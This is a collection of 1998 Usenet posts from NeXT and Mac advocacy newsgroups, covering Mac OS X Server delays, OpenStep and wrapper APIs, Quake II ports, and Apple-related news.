Message-ID: <6vjmb0$2mr$14@blue.hex.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slur
<6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com> <6v8ktl$4cv$1@nnrp1.dejanews.com> <6vaaqn$h6l$5@supernews.com> <6vbhrp$6hn$1@nnrp1.dejanews.com> <6vbvdp$7aa$7@blue.hex.net> <361D0499.908ACB02@hotmail.com>
On Thu, 8 Oct 1998 18:29:45 GMT, pdohert <pd@hotmail.com> wrote:
>Christopher Browne wrote:
>>
>> On Mon, 05 Oct 1998 22:39:53 GMT, Charles Swiger <chuck@codefab.com> wrote:
>> >In article <6vaaqn$h6l$5@supernews.com>,
>> > "Dan" <dan@knowspaam.com> wrote:
>> My employer had a power outage which evidently forced restarting 17
>> machines. They are *never* restarted - upgrades are done online.
>> Disks, CPUs, memory, all can be added without a need to shut anything
>> down.
>
>Sounds like a mainframe to me... adding CPUs without powering down? And
>just how would a PC have a CPU added to a live socket without zapping
>the chip?
It wasn't merely one mainframe; there's *scads* of them cluttering up
the bunker...
--
"...and scantily clad females, of course. Who cares if it's below zero
outside" (By Linus Torvalds)
cbbrowne@hex.net- <http//www.hex.net/~cbbrowne/lsf.html>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: pdohert <pd@hotmail.com>
Subject: Re: Microsoft's Unix
Content-Type: text/plain; charset=us-ascii
Message-ID: <361D0499.908ACB02@hotmail.com>
Sender: usenet@news.arco.com
Content-Transfer-Encoding: 7bit
Organization: ARCO Oil % Gas Company
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slur
<6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <6v371u$59g$2@news.spacelab.net> <6v57d6$icn$5@supernews.com> <6v8ktl$4cv$1@nnrp1.dejanews.com> <6vaaqn$h6l$5@supernews.com> <6vbhrp$6hn$1@nnrp1.dejanews.com> <6vbvdp$7aa$7@blue.hex.net>
Mime-Version: 1.0
Date: Thu, 8 Oct 1998 18:29:45 GMT
Christopher Browne wrote:
>
> On Mon, 05 Oct 1998 22:39:53 GMT, Charles Swiger <chuck@codefab.com> wrote:
> >In article <6vaaqn$h6l$5@supernews.com>,
> > "Dan" <dan@knowspaam.com> wrote:
> My employer had a power outage which evidently forced restarting 17
> machines. They are *never* restarted - upgrades are done online.
> Disks, CPUs, memory, all can be added without a need to shut anything
> down.
Sounds like a mainframe to me... adding CPUs without powering down? And
just how would a PC have a CPU added to a live socket without zapping
the chip?
--
Paul Doherty
Systems Analyst/Programmer
CNA/CNE/MCP+I/MCSE
http://www.dfw.net/~pdoherty
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 9 Oct 1998 00:46:06 GMT
Organization: Idiom Communications
Message-ID: <6vjmce$pj5$1@news.idiom.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170>
<6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com>
<6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com>
<361CE373.485E019C@ericsson.com> <6vj9vq$u5o$1@nnrp1.dejanews.com>
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Cc: chuck@codefab.com
"Charles Swiger" may or may not have said:
[snip]
-> For example, OpenStep apps run faster on Mach then they do under YellowBox
on
-> NT, although it's more complicated than just from one factor.
That might have something to do with NT being a bloated piece of crap.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Thu, 08 Oct 1998 20:19:36 +0100
Organization: EarthLink Network, Inc.
Message-ID: <361D1042.39E7@earthlink.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <andyba-ya02408000R0810981035110001@news>
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Andy Bates wrote:
> According to the latest Macintosh News Network <http://www.macnn.com>, Mac
> OS X Serve is due in early November. It was pushed back to not interfere
> the Mac OS 8.5 release.
I wonder if there will be a discount for those who upgrade to 8.5 then
want OS X Server? It should include a complete copy of 8.5 for the Blue
Box. I hope we don't have to pay for that twice!
> Less than one year late for the Premier release, but only a few months late
> for the Unified release. Doesn't seem too bad.
Yes it is bad if you are not a developer and have been waiting to use
the damn thing forever!
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X server delays
Date: Thu, 08 Oct 1998 20:14:55 +0100
Organization: EarthLink Network, Inc.
Message-ID: <361D0F2A.22B8@earthlink.net>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com>
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Alex Kac wrote:
I'm hoping they'll put in a good ol' Apple Mac OS X Finder in there.
I'm hoping they'll put back in the good ol' NeXT File Viewer myself.
Then you won't need a "Finder".
Steve
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 12:00:22 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0810981200220001@korper.cutler.com>
References: <36099217.345010578@news.newsguy.com> <361A9F92.1D9F3A3@ericsson.com> <361BD074.B99A3712@ericsson.com> <6viinc$370@newsb.netnews.att.com>
Mail-Copies-To: never
In article <6viinc$370@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
:"I gotta tell you, multi-platform compatibility ain't what it
:used to be," the mercurial Jobs siad in the January 1996 issue
:of Red Herring, a San Francisco-based magazine that covers
:the computer industry
Speaking of Red Herring did anyone else notice the "Drinking the Kool-Aid"
from the editor article in the November issue?
quote
If some consumers are buying iMac, they're buying it for exactly the
same reason Apple said they should: it's a fast, easy-to-use Internet
terminal that still runs Microsoft Office. Almost no one cares to do
what Apple's ads ask them to do: "Think Different." ... Steve Jobs has
saved Apple. Good for him. It doesn't matter.
From: not@my.address.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 9 Oct 1998 00:03:42 GMT
Organization: Arizona State University
Message-ID: <6vjjsu$l4d$1@news.asu.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vg59f$n46$1@nnrp1.dejanews.com> <361BBA99.D34D864D@ericsson.com>
In-Reply-To: <361BBA99.D34D864D@ericsson.com>
On 10/07/98, Michael Peck wrote:
... speaking of Charles Swiger
>
>Your posts have a unique way of displaying just what kind of person you
>are. It didn't take long to figure you out, Chuck.
>
I agree. He's informative, thoughtful, and generous with his time. Whenever I
do a DejaNews search on a technical topic, I pull up detailed posts that stretch
over years explaining something of interest about NEXTSTEP/OPENSTEP.
He helps make comp.sys.next.* a terrific resource.
Didn't take me long to figure that out either.
--
invert: umich.edu jdevlin
insert: shift "2"
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: Thu, 08 Oct 1998 17:24:04 -0700
Message-ID: <see-below-0810981724040001@dynamic57.pm08.mv.best.com>
References: <6vilca$ts0$1@nnrp1.dejanews.com>
In article <6vilca$ts0$1@nnrp1.dejanews.com>, esmalling@my-dejanews.com wrote:
> Regarding StepWise's report of Quake II for MacOS X Server being ported in
> just 3 days ( http://www.stepwise.com/PR/981007-01.html )
>
> Do you think the source code Omni got was already OpenStep/Obj-C ? When did
> id go from using NEXTSTEP as their development platform to Win32?
>
> Just curious.
>
> -Eric S.
No, I assume it was ordinary c (or c++ now? not sure) developed on
WindowsNT, which has been id's development platform for the last few
years. I don't think they've used OpenStep for a while, though John
Carmack occasionally makes noises about possibly using it again in the
future if Apple delivers what he wants. As Mark points out, I think
OpenStep was more for development tools such as level editors than for
game code itself. (They've also been talking about making those tools in
Java.)
Also, as Mark mentioned, id habitually makes Unix ports of their games
in-house For instance, Quake II is available for Linux (Intel and Alpha)
and Solaris (SPARC and Intel), and these ports were all done in-house. So
I think good, clean, portable code is the key.
John Carmack had promised he would personally port Quake II to Rhapsody
soon after its release, but that never transpired (I think he was
disappointed with DR1).
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: 9 Oct 1998 08:43:23 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <6vkibb$4l4$1@supernews.com>
References: <6vilca$ts0$1@nnrp1.dejanews.com>
In article <6vilca$ts0$1@nnrp1.dejanews.com>,
<esmalling@my-dejanews.com> wrote:
>Regarding StepWise's report of Quake II for MacOS X Server being ported in
>just 3 days ( http://www.stepwise.com/PR/981007-01.html )
>
>Do you think the source code Omni got was already OpenStep/Obj-C ? When did
>id go from using NEXTSTEP as their development platform to Win32?
id has said in the past that they use ANSI C for the engine itself.
The level editors and other utilities on DOOM were done with a NeXT,
which they said helped them develop things very quickly.
--
Don McGregor | While the above is legally accurate, I did not
mcgredo@mbay.net | volunteer information.
From: group-admin@isc.org (David C Lawrence)
Newsgroups: comp.sys.next.advocacy
Subject: cmsg newgroup comp.sys.next.advocacy
Control: newgroup comp.sys.next.advocacy
Message-ID: <907830927.29667@isc.org>
Date: Thu, 08 Oct 1998 07:15:27 -0000
ftp://ftp.isc.org/pub/pgpcontrol/README
iQCVAwUBNhxmj8JdOtO4janBAQEI4gP+M8C7T2xkoyn1fIryUKPGjSsOAzjvTsOw
+xX3exOzbE+Te0dTXmjtwb3vRS9jhreDUze4qMWOo2SwtG+SPuEGfJbBNyACcq51
3n+zEd3iRBqBP9SSKCsjZx5tTbKwOoAdbVjsJEaG0ODttpnxt4y8CmzcXbRjIfq9
F12uRo+LzrM=
=r8En
comp.sys.next.advocacy is an unmoderated newsgroup which passed its vote for
creation by 368:99 as reported in news.announce.newgroups on 15 Apr 1992.
For your newsgroups file:
comp.sys.next.advocacy The NeXT religion.
The charter, culled from the call for votes:
This group is a forum for:
1. Discussion of (and providing feedback on) NeXT Policy
2. Speculations concerning NeXT's future
3. Expressing strong, perhaps unpopular opinions
4. Long, philosophical (or unanswerable) discussions
From: "Joseph K. Vossen" <jkv@issl.atl.hp.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
Date: Fri, 09 Oct 1998 07:52:33 -0400
Organization: Internet and Systems Security Lab
Distribution: world
Message-ID: <361DF901.898@issl.atl.hp.com>
References: <6vilca$ts0$1@nnrp1.dejanews.com> <6vkibb$4l4$1@supernews.com>
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Donald R. McGregor wrote:
>
> In article <6vilca$ts0$1@nnrp1.dejanews.com>,
> <esmalling@my-dejanews.com> wrote:
> >Regarding StepWise's report of Quake II for MacOS X Server being ported in
> >just 3 days ( http://www.stepwise.com/PR/981007-01.html )
> >
> >Do you think the source code Omni got was already OpenStep/Obj-C ? When did
> >id go from using NEXTSTEP as their development platform to Win32?
>
> id has said in the past that they use ANSI C for the engine itself.
> The level editors and other utilities on DOOM were done with a NeXT,
> which they said helped them develop things very quickly.
>
are the NeXTSTEP level editors available for public consumption?
thanks
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: OSXS is late
Date: 9 Oct 1998 12:36:04 GMT
Organization: UCO & Associates, LLP
Message-ID: <6vkvvk$886$1@wbnws01.ne.highway1.com>
I don't think there is any way around this. Mac OSX S is late. Originally
it was due out before Sept., if memory serves. Then the date has been pushed
up and up. And now we're in October, and the rumblings are year end.
The big question is why. Is it due to problems, or additional feature sets
that have been added. I'm guessing the latter, which makes the delay
reasonable and understandable, but not the lack of any comment from Apple.
--
Thanks, be well, take care, later, John Kheit; self expressed...
___________________________________________________________________
UCO & A s s o c i a t e s , L L P http://www.uco-iplaw.com
ASCII, MIME, PGP, SUN, & NeXTmail OK mailto:jkheit@uco-iplaw.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 8 Oct 1998 20:27:47 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6vj783$4p2@newsb.netnews.att.com>
References: <36099217.345010578@news.newsguy.com> <6vihe4$34l@newsb.netnews.att.com> <361CD7D2.F32DC662@ericsson.com> <6vj6hm$4nt@newsb.netnews.att.com>
Originator: gupta@tlctest
Regarding Amelio's 1997 SF MacWorld keynote,
take a look at :
http://www.vwtapes.com/macworld/sf97/keynotes.htm
and
( http://www.vwtapes.com/macworld/sf97/ to see when the file
was last modified).
-arun gupta
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 08 Oct 1998 21:14:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vj9vq$u5o$1@nnrp1.dejanews.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com> <6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com> <361CE373.485E019C@ericsson.com>
In article <361CE373.485E019C@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> Charles Swiger wrote:
>> Wrappers are a middle layer that redirects calls (usually from a portable
>> application layer to the system-specific functionality provided by the host).
>
> By this definition any portable API is a wrapper.
Not any, although it is true many portable API's are wrappers. If an API
implements the functionality directly, it's not a wrapper.
>> A classic example is a GUI middleware layer like XVT, under which your code
>> GUI calls to XVT, which then calls X11 on a Unix box, or the Toolbox on a
>> Mac, or Win32 on a Windows box. Thus, your GUI program will run on all of
>> these platforms.
>
> In this case XVT is an API with different implementations that happen to
> wrap other APIs. Much the same way the MacOS Toolbox wraps the MacOS
> low-level code, and the same way Carbon will wrap BSD, Mach, and
> whatever else Apple intends to put beneath Carbon.
That's an interesting point, but notice that XVT calls and the native calls
are at the same level of functionality-- ie, both have routines which create
windows, dialog boxes, and so forth. However, Carbon and Mach are not on the
same level.
> It's no different from the way Qt is implemented upon X11 and Win32, and
> rather the same way the OpenStep libraries are "wrapped" around various
> platforms' own underlying mechanisms.
Is Qt at the same level as Win32 or X11 (what part of X11? Xt? some widget
set like Motif)...?
>> Major downsides to wrappers are they are slower, and the abstraction they do
>> often makes it difficult (or impossible) to implement all the details and
>> native look-n-feel desirable-- so XVT-based apps look blander and more
>> generic than native ones, for example.
>
> This may be the case for XVT apps. It is certainly not the rule of thumb
> for portable APIs. I am sure you would not say this about OpenStep apps,
> which make use of a similar "wrapper".
Actually, I would say that some parts of OpenStep do suffer from the problems
I attribute to wrappers.
For example, OpenStep apps run faster on Mach then they do under YellowBox on
NT, although it's more complicated than just from one factor. Furthermore,
I've seen people occaisonally want to do something that OpenStep doesn't
provide functionality for. They had to resort to calling Win32 code
directly. OpenStep does a good job of wrapping the native interface, but it's
not complete. Is it quite a bit better than XVT was, however-- OpenStep has
a much better framework for implementing a GUI app than XVT does.
However, the OpenStep API's (or YB) are a family of API's. Some parts are
not wrappers, like Foundation, which implements things like container
classes. But the AppKit stuff under OpenStep is (partially) a wrapper on the
Win32 platform, because it does call Win32 stuff to do some work.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 8 Oct 1998 21:48:52 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R0810981451200001@netnews.worldnet.att.net>
References: <36099217.345010578@news.newsguy.com> <6vihe4$34l@newsb.netnews.att.com> <361CD7D2.F32DC662@ericsson.com> <6vj6hm$4nt@newsb.netnews.att.com> <6vj783$4p2@newsb.netnews.att.com>
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In article <6vj783$4p2@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Regarding Amelio's 1997 SF MacWorld keynote,
> take a look at :
>
> http://www.vwtapes.com/macworld/sf97/keynotes.htm
> and
> ( http://www.vwtapes.com/macworld/sf97/ to see when the file
> was last modified).
>
> -arun gupta
I was there and remember half of his speech. It was litany of nervous,
extended, "Ehhhhhhhhh"s that were inserted liberally throughout the other
50% of his address.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Fri, 09 Oct 1998 10:11:01 -0500
Organization: Ericsson North America Inc.
Message-ID: <361E2785.E3AF7755@ericsson.com>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170> <6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com> <6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com> <361CE373.485E019C@ericsson.com> <6vj9vq$u5o$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
> That's an interesting point, but notice that XVT calls and the native calls
> are at the same level of functionality-- ie, both have routines which create
> windows, dialog boxes, and so forth. However, Carbon and Mach are not on the
> same level.
In this definition, then, the key is the level of abstraction at which
the thing operates? I can see many cases in which something would be
called a "wrapper"; I'm not sure what the criteria would be for the
definition you're describing.
> Is Qt at the same level as Win32 or X11?
For the most part. Obviously, an API like Qt can only perform a subset
of those things which Win32 and X11 perform at the same "level", since
it must implement them through Win32 and X11. However, like the OpenStep
libraries, it implements many things not implemented in Win32 or X11 at
a similar but different "level". It's tricky to say, though, because the
Win32 API is comprehensive and contains many "levels" (much the way you
describe the OpenStep APIs below).
> (what part of X11? Xt? some widget
> set like Motif)...?
Qt doesn't use Xt or Motif. On X11 it is implemented on top of bare Xlib
calls (and on Win32, whatever one calls the simplest windowing and
graphics layer), which is why it's capable of switching on the fly from
a Motif look to a Win32 look on any platform (a cute feature).
I can see where you're going, though, and I don't think I was looking at
it that way when I first posted. I think my problem was the XVT example:
is XVT somehow at a different "level" than Win32 and X11? GLUT is a
highly simplified way of creating windows and menus, and thus could be
called a wrapper; but, it's also capable of performing OpenGL calls with
simplified commands, and is also an interface to OpenGL. In this case,
even though it can be said to be a "wrapper" of many things, it's not as
clear-cut. I think your original post tended to overgeneralize.
Moreover, AppKit, when run on Win32, literally wraps the Win32 API and
makes windows and menus according to that API. GLUT, on the other hand,
implements its own menus and other widgets through *low-level* calls to
each respective API. In this sense, it's not a "wrapper" so much as a
simple middleware layer. Likewise, GLUT won't use Motif on X11, but
rather Xt and Xlib, implementing its own widgets.
[cut]
> However, the OpenStep API's (or YB) are a family of API's. Some parts are
> not wrappers, like Foundation, which implements things like container
> classes. But the AppKit stuff under OpenStep is (partially) a wrapper on the
> Win32 platform, because it does call Win32 stuff to do some work.
I shouldn't have generalized by including all of the OpenStep APIs. By
your definition, then, you are being consistent. It's just difficult to
distinguish, by this definition, between APIs that simply call other
APIs, and APIs that are "wrappers". In the end, it may be up to the
developer to decide; if your purpose for using an API is its interface
to *another* API, I suppose it's a wrapper no matter what the author
thinks. :)
MJP
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Thu, 08 Oct 1998 10:35:11 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0810981035110001@news>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu>
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In article <mazulauf-0310980024190001@happy.met.utah.edu>,
mazulauf@atmos.met.utah.edu (Mike Zulauf) wrote:
> No, they're not close to being on schedule. Unified was to ship in mid
> 98. Mid 98 has come and gone, and there is still no sign of it. Have
> there been any new rumors as to when it's coming?
According to the latest Macintosh News Network <http://www.macnn.com>, Mac
OS X Serve is due in early November. It was pushed back to not interfere
the Mac OS 8.5 release.
> October is to be 8.5's month, I doubt they'll bring out Rhapsody then.
> Who thinks they'll get it out in November or December and beat the "one
> year late" anniversary for releasing the it to the public?
Less than one year late for the Premier release, but only a few months late
for the Unified release. Doesn't seem too bad.
Andy Bates.
From: daven@ldr.com (Dave Neuer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <daven-0810981052290001@208.8.190.31>
References: <daven-0710981647330001@208.8.190.31> <B2423FFE-36123@206.165.43.59>
Date: Thu, 08 Oct 1998 17:53:15 GMT
NNTP-Posting-Date: Thu, 08 Oct 1998 10:53:15 PDT
In article <B2423FFE-36123@206.165.43.59>, "Lawson English"
<english@primenet.com> wrote:
> Dave Neuer <daven@ldr.com> said:
>
> >The idea
> >of System 7 and Carbon apps running side-by-side in a cooperatively
> >scheduled environment is ridiculous. Is that not what you meant?
>
>
>
> Actually, I'm not sure if you're trying to paraphrase him, or if YOU are
> claiming that Carbon apps running side by side with System 7 apps is
> rediculous.
>
> In fact, it isn't rediculous and that is what is planned for Carbon apps
> under MacOS 8.something. There will be libraries available in MacOS 8.x to
> allow Carbon apps to run on pre-G3 machines.
You're right. This is not *ridiculous*. It offers slight tangible
benefit to users (the ability to run apps from major vendors that have
been rewritten to the Carbon APIs -- possibly including new features,
possibly not) who don't want to upgrade their hardware (though if they
don't want to upgrade their hardware, will they want to pay $600 for the
next, Carbon-ized version of "Photoshop"?).
My point was that that is far from the point of Carbon. Carbon's whole
raison d'etre is to allow MacOS apps to run in a pre-emptive, memory
protected environment. Michael Peck seemed to be saying that Apple should
provide Carbon only on their current-generation OS, and use the BlueBox
for a compatability environment in Rhapsody while having the primary
emphasis on YB (and no Carbon on Rhapsody). This was Apple's originally
articulated plan, minus Carbon.
Having Carbon w/o PMT and MP is unneccessary. Not providing this level of
MacOS compatability on the next-generation Apple OS -- that's what is
ridiculous.
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie! Avie! Avie!
Date: Fri, 09 Oct 1998 08:58:13 -0700
Organization: UC Irvine
Message-ID: <atlauren-0910980858130001@jungleland.acs.uci.edu>
References: <6vl939$69u@shelob.afs.com>
_3;X4o1Yg^$]=Oc\u
In article <6vl939$69u@shelob.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
>The DOJ has decided to call Avie Tevanian as one of its ten witnesses in the
>Microsoft case:
>
>http://www.news.com/News/Item/0,4,27336,00.html?st.ne.ni.lh
>
>I wonder if his testimony will be limited to Apple matters? I thought he
>joined Apple after some of the events the DOJ is investigating. Maybe there
>was some funny business with Microsoft going back to NeXT days?
IIRC, when Avie left (graduated?) Carnegie Mellon, he was personally
courted by both Jobs and Gates. Perhaps there's something there? In any
case, one imagines it very likely that Avie was in the meeting in which
the alleged proposal to limit QuickTime was allegedly floated.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
Newsgroups: comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: Source code for Quake II (OpenStep?)
Message-ID: <slrn71q8en.62f.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <6vilca$ts0$1@nnrp1.dejanews.com>
Date: Thu, 8 Oct 1998 20:32:53 GMT
In article <6vilca$ts0$1@nnrp1.dejanews.com>, esmalling@my-dejanews.com wrote:
>Regarding StepWise's report of Quake II for MacOS X Server being ported in
>just 3 days ( http://www.stepwise.com/PR/981007-01.html )
>
>Do you think the source code Omni got was already OpenStep/Obj-C ? When did
>id go from using NEXTSTEP as their development platform to Win32?
>
>Just curious.
>
>-Eric S.
Even in the NeXTstep days, Id wrote its software in straight ANSI C. ObjC
and NeXTstep, back then, were used for level editors and such. But having
started developing code under UNIX to be deployed under DOS and then
Windows, I'm sure the Id guys became pretty proficient at writing good
clean portable ANSI C code.
Mark
From: "Dietmar Planitzer" <dave.pl@ping.at>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: Thu, 08 Oct 1998 23:51:06 +0200
Organization: Customer of EUnet Austria
Message-ID: <6vjbp4$equ$1@fleetstreet.Austria.EU.net>
References: <6vedtf$6o1$1@pascal.a2000.nl> <B240587C-26E50@206.165.43.170>
<6vg0gd$s3d$1@pascal.a2000.nl> <6vgf9d$fv4$1@nnrp1.dejanews.com>
<6vgioe$8j5$1@pascal.a2000.nl> <6vils3$urk$1@nnrp1.dejanews.com>
<361CE373.485E019C@ericsson.com>
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NNTP-Posting-Date: 8 Oct 1998 21:45:08 GMT
----------
Michael Peck <Michael.Peck@ericsson.com> wrote:
>For software renderers, the case is more clear-cut. For instance, the
>OpenGL/GLU/GLX API, implemented by Mesa on Linux, is a wrapper for
>native Linux datatypes and X11 drawing/window creation methods.
>Moreover, the GLUT API is a portable wrapper for GLX (and WGL and AGL)
>that, when implemented on any platform, wraps whatever drawing/window
>creation exist natively for that platform.
>
...and MacOS X Server / RDR2. My GLUT port also has printing, fax,
clipboard, services and save as TIFF support build in. You can use it
either together with Mesa or Conix's OpenGL for RDR2 (alpha actually).
Hmmm, looks like this could be interpreted as a shameless ad....
>> A classic example is a GUI middleware layer like XVT, under which your code
>> GUI calls to XVT, which then calls X11 on a Unix box, or the Toolbox on a
>> Mac, or Win32 on a Windows box. Thus, your GUI program will run on all of
